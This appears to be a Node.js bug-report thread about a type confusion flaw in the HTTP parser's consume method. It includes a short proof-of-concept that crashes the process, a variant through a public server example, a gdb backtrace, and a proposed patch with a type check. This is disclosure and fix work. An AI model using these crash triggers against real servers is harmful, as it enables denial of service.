Type confusion bug in HTTP parser

[deian]

We found unchecked type cast in the HTTP parser code. This one is in https://github.com/nodejs/node/blob/master/src/node_http_parser.cc#L496

Here is the 3 line exploit:

const HTTPParser = process.binding('http_parser').HTTPParser;
var parser = new HTTPParser(HTTPParser.REQUEST);
parser.consume(0xdeadbeef);

Can also just modifying the example on the nodejs.org site to trigger bug with public API:

const http = require('http');

const hostname = '127.0.0.1';
const port = 3000;

const server = http.createServer((req, res) => {
 res.statusCode = 200;
 req.socket.parser.consume(0xdeadbeef);
 res.setHeader('Content-Type', 'text/plain');
 res.end('Hello World\n');
});

server.listen(port, hostname, () => {
 console.log(`Server running at http://${hostname}:${port}/`);
});

[gireeshpunathil]

A sureshot bug - consistently failing with the above code, with this callstack:

(gdb) where
#0  0x000000000260cc7f in v8::base::OS::Abort () at ../deps/v8/src/base/platform/platform-posix.cc:229
#1  0x000000000260689d in V8_Fatal (file=0x27531a1 "../deps/v8/src/objects-inl.h", line=2120, 
    format=0x2753234 "unreachable code") at ../deps/v8/src/base/logging.cc:67
#2  0x000000000162129b in v8::internal::JSObject::GetHeaderSize (type=v8::internal::HEAP_NUMBER_TYPE)
    at ../deps/v8/src/objects-inl.h:2120
#3  0x00000000016212e0 in v8::internal::JSObject::GetInternalFieldCount (map=0x3508c5b02519)
    at ../deps/v8/src/objects-inl.h:2130
#4  0x0000000001621324 in v8::internal::JSObject::GetInternalFieldCount (this=0x3f34549f3de9)
    at ../deps/v8/src/objects-inl.h:2135
#5  0x0000000001621341 in v8::internal::JSObject::GetInternalField (this=0x3f34549f3de9, index=0)
    at ../deps/v8/src/objects-inl.h:2145
#6  0x0000000001644104 in v8::ExternalValue (obj=0x3f34549f3de9) at ../deps/v8/src/api.cc:5900
#7  0x0000000001645839 in v8::External::Value (this=0x7fffffffcb60) at ../deps/v8/src/api.cc:6334
#8  0x000000000231b789 in node::Parser::Consume (args=...) at ../src/node_http_parser.cc:476

[gireeshpunathil]

While the direct usage of undocumented capability of process.binding is questionable, the concern over the exposure is ratified in terms of need for sanitizing publicly reachable code.

This patch solves the issue, not sure whether this is the best one or not:

diff --git a/src/node_http_parser.cc b/src/node_http_parser.cc
index f757cd6..593fa1e 100644
--- a/src/node_http_parser.cc
+++ b/src/node_http_parser.cc
@@ -472,6 +472,14 @@ class Parser : public AsyncWrap {
   static void Consume(const FunctionCallbackInfo<Value>& args) {
     Parser* parser;
     ASSIGN_OR_RETURN_UNWRAP(&parser, args.Holder());
+
+    // Check the argument type
+    if (!args[0]->IsObject()) {
+      parser->env()->isolate()->ThrowException(Exception::TypeError(
+          String::NewFromUtf8(parser->env()->isolate(), "Object conversion of argument failed.")));
+      return;
+    }
+
     Local<External> stream_obj = args[0].As<External>();
     StreamBase* stream = static_cast<StreamBase*>(stream_obj->Value());
     CHECK_NE(stream, nullptr);

bash-4.1$ node f.js
f.js:3

parser.consume(0xdeadbeef);
       ^
TypeError: Object conversion of argument failed.
    at Object.<anonymous> (f.js:3:8)
    at Module._compile (module.js:571:32)
    at Object.Module._extensions..js (module.js:580:10)
    at Module.load (module.js:488:32)
    at tryModuleLoad (module.js:447:12)
    at Function.Module._load (module.js:439:3)
    at Module.runMain (module.js:605:10)
    at run (bootstrap_node.js:424:7)
    at startup (bootstrap_node.js:145:9)
    at bootstrap_node.js:539:3

[deian]

Thanks for looking at this! I think you actually want IsExternal() not IsObject.
RE process.binding: I have been able to escalate it to the public interface every single time I tried. The JS layer is unfortunately very easy to bypass.

[gireeshpunathil]

@deian - thanks - agree that it should be IsExternal. Will see if I can pull up a PR on this, stay tuned.